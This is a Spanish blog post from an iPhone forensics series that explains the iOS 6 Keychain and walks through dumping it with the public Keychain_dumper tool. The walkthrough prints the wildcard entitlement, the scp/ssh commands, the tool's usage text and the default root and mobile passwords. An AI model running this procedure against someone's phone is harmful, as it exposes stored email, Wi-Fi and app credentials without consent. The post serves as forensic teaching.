Blog

Análisis forense iPhone – Parte V – Cómo crackear / descifrar el Keychain

Serie Análisis Forense iPhone

Esta serie está dedicada a conocer aspectos internos del funcionamiento del iPhone. Para ello se explicarán técnicas forenses de extracción y análisis de datos del teléfono así como aprender a aprovecharse de bugs para ganar acceso a elementos del sistema en principio prohibidos.

0 Como enfrentar un Iphone con passcode: Recopilación de bypasses [Todos, No Jailbreak]

1 Análisis forense iPhone – Parte I    – Análisis del Backup (1ª Parte) [Todos, No Jailbreak]

2 Análisis forense iPhone – Parte II   – Análisis del Backup (2ª Parte) [Todos, No Jailbreak]

3 Análisis forense iPhone – Parte III  – Copia bit a bit a través de SSH [Todos, Jailbreak]

4 Análisis forense iPhone – Parte IV  – Cómo atacar por Fuerza Bruta el passcode del iPhone [Todos, No Jailbreak]

5 Análisis forense iPhone – Parte V   – Cómo crackear / descifrar el Keychain [Todos, Jailbreak]

6 Análisis forense iPhone – Parte VI  – Entendiendo la estructura de claves AES

7 Análisis forense iPhone – Parte VII – Accediendo con Ramdisk [iPhone < 4S, No Jailbreak]

 

Hoy voy a contar un método para crackear el Keychain del iPhone.

/******************************

1. Teoría sobre Keychain

2. Requisitos

3. Práctica

******************************/

1. Teoría sobre Keychain

1.1 ¿Qué es el Keychain?

El keychain es contenedor cifrado (AES-128) con estructura sqlite que almacenada gran cantidad de datos sensibles del usuario como la identidad y las contraseñas de aplicaciones. Su finalidad es almacenar la mayoría de contraseñas del dispositivo para que el teléfono no nos pida las credenciales cada vez que arrancamos una aplicación o servicio.

Si un desarrollador necesita guardar datos sensibles del usuario, tiene dos métodos para realizarlo: el primero consiste en guardar los datos en el Keychain, lo cual delega toda la protección a la seguridad de iOS o puede implementar un método propio de cifrado (caso muy poco habitual) dentro de la aplicación. Si una aplicación usa este segundo método, al no almacenarse los datos dentro del Keychain, no podremos acceder a las credenciales mediante este crackeo.

Por último comentar que hay aplicaciones que guardan las credenciales en texto plano dentro de un .plist. Este sería el peor método para mantenerlas a salvo porque analizando los backups se podría leer perfectamente la contraseña.

1.2 ¿Cómo está estructurado?

Hasta iOS 6.1.1 (es la versión donde hago las pruebas, pero creo que funciona en toda las versiones 6.X) el Keychain contiene 5 tipos de datos almacenados en 4 tablas. La tabla “genp” contiene generic passwords, “inet” contiene passwords de internet, “cert” y  “keys” contiene certificados, claves e identidades; una identidades está formadas por un par cert-key.

keychain-2.db

1.3 Como funciona el Keychain

El Keychain es una aplicación separada de las demás y protegida por iOS con la que el resto de aplicaciones se comunica para almacenar y leer información sensible.

Esta comunicación (o lectura de datos) solo puede hacerse por parte de una aplicación a las zonas del llavero donde tenga acceso. Inicialmente solo se tenía acceso a los datos de la propia aplicación, pero dada la necesidad de compartir algunos datos entre varias aplicaciones se crearon los “grupos de acceso” del Keychain, de tal manera que un dato pueda ser compartido por varias aplicaciones.

La forma con la que se valida si una aplicación tiene acceso o no a un dato, o si pertenece a un “grupo de acceso” (Keychain_dumper se aprovecha de manipular estos datos de acceso) es leyendo los derechos de firma de código de la aplicación. En concreto las etiquetas importantes en este proceso son “application-identifier” que permite acceso a los datos de la propia aplicación y “keychain-access-groups” que valida elementos de los grupos de aplicación. Estos datos se encuentran en los binarios de las aplicaciones y son accesibles a través del SSH si se tiene el Jailbreak hecho.


<dict>
    <key>keychain-access-groups</key>
    <array>
        <string>8KM394JM3R.com.getdropbox.DropboxKeychainFamily</string>
    </array>

    <key>application-identifier</key>
    <string>8KM394JM3R.com.getdropbox.Dropbox</string>

    <key>aps-environment</key>
    <string>production</string>
</dict>

1.4 El ataque

Patrick Tommey ha creado la herramienta “Keychain_dumper” que es una aplicación que ha sido firmada con una”firma de código retocada“. En el campo “keychain-access-groups” se ha puesto el operador “*” que hace que se valide contra cualquier keychain-access-groups que haya.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>keychain-access-groups</key>
        <array>
            <string>*</string>
        </array>
   </dict>
</plist>

2. Requisitos

Los reqisitos que se citan a continuación son para realizar la parte práctica tal como yo la he hecho. Se puede usar un ordenador Windows con la aplicación Putty para subir el fichero por ftp sin problema.

2.1 Ordenador con GNU/Linux o Mac OS

En mi caso he hecho las pruebas tanto en Kali Linux como con Mac OS porque ambos disponen de cliente SSH nativo y porque son más flexibles que Windows.

Kali Linux
Imagen 2013-08-29 a la(s) 19.14.13

2.2 Jailbreak + OpenSSH

Para realizar este ataque es necesario que el teléfono tenga hecho el jailbreak y instalado OpenSSH.

Tal y como conté en Posts anteriores, la versión de iOS sobre la que realizo las pruebas es la 6.1.1

Jailbreak iPhone
OpenSSH jailbreak

2.3 Estar conectado a la misma red Wifi

Al igual que en Posts anteriores, es necesario que el iPhone y el ordenador estén dentro de la misma subred para poder realizar la conexión SSH.

Misma Red wifi

3. Práctica

3.1 Subir fichero keychain_dumper

Se puede descargar la carpeta con los fuentes y un binario keychain_dumper desde aquí. Solo es necesario subir el binario; el resto de ficheros vienen por si queremos realizar nosotros el proceso de firma del código.

Para subir el fichero al iPhone podemos usar el comando de unix “scp” o un cliente SFTP (no es más que un FTP apuntando al puerto 22 de SSH).

En mi caso lo he subido usando scp mediante estos sencillos comandos:

scp keychain_dumper root@<ip_iphone>:
ssh root@<ip_iphone>
chmod 777 keychain_dumper

scp keychain_dumper

3.2 Ejecutamos y nos envíamos el resultado a nuestro ordenador

Una vez subida la aplicación al teléfono, solo queda ejecutarla. Para que nos saque toda la información vamos a llamarla con la opción “-a” (all) y la vamos a redirigir a un fichero llamado por ejemplo “llavero”.

    Usage: keychain_dumper [-e]|[-h]|[-agnick]
    <no flags>: Dump Password Keychain Items (Generic Password, Internet Passwords)
    -a: Dump All Keychain Items (Generic Passwords, Internet Passwords, Identities, Certificates, and Keys)
    -e: Dump Entitlements
    -g: Dump Generic Passwords
    -n: Dump Internet Passwords
    -i: Dump Identities
    -c: Dump Certificates
    -k: Dump Keys

Ahora vamos a realizar el proceso inverso, vamos a subir el fichero “llavero” del iPhone a nuestro ordenador mediante la ejecución de otro comando scp.

  // Ejecutamos keychain_dumper
    ./keychain_dumper -a > llavero

  //Lo subimos al ordenador
    scp llavero <ususario>@<ip_ordenador>:/

keychan_dump

3.3 Analizando los datos

Una vez que tenemos el fichero en nuestro ordenador solo queda analizarlo y comprobar que todos los usuarios y contraseñas están en texto plano. Para ver un ejemplo he sacado varias capturas a distintas partes del fichero llavero.

OJO: Si un atacante llega a ver todo esto.. la hemos liado pero bien

3.3.1 Claves de correo

Todas las claves de correo quedarán expuestas en texto plano junto con credenciales de otras páginas web que hayamos guardado.

emails keychain iphone

3.3.2 Claves de Wifi

Se pueden listar todas las wifis a las que se ha conectado el iPhone a lo largo de toda su “vida“.  Para borrar una red wifi de las preferencias (y que no apareciera en el keychain) es necesario primeramente conectarse a ella y después pulsar sobre “omitir esta red“; esta idioted que introduce Apple hace que no sea viable borrar las redes wifis a las que nos hemos conectado (y estemos enviando constantemente probes con todos los nombres) ya que para hacerlo tendríamos que recorrernos sitio por sitio todos los lugares físicos donde están todas las wifis e ir borrando una a una.

Gracias Apple por hacernos más trazables, si cabe.

wifi keychain

3.3.3 Código PIN de la SIM

Entre todas las claves que se guardan se encuentra el código PIN de la tarjeta sim. Es cierto que cada vez más, la mayoría de Smartphones almacenan más y más datos de comunicaciones (SMS, llamadas, agenda, …) en el propio teléfono en vez de en la SIM, pero no deja de ser un dato importante de cara a realizar/recibir llamadas, enviar MMS, etc..

PIN sim card

No he hecho más capturas porque no lo he visto necesario(hay mucha información sensible). Entre la información podemos encontrar también certificados de páginas SSL, contraseñas de aplicaciones (dropbox, etc..) y un sin fín de claves más.

Como conclusión se nos debe quedar que si hacemos el Jailbreak al iPhone y tenemos instalado Open SSH: TENEMOS QUE CAMBIAR LA CONTRASEÑA por defecto ROOT (alpine) y MOBILE (dottie).

Gracias por haber leido hasta aquí, espero que os haya gustado!

Carlos Rebollo – @CharlieSec

Carlos@highsec.es

Referencias:

1. https://github.com/ptoomey3/Keychain-Dumper

2. http://www.securitylearn.net/tag/dump-passwords-from-iphone-keychain/

Leave a Reply

*

    No Twitter Messages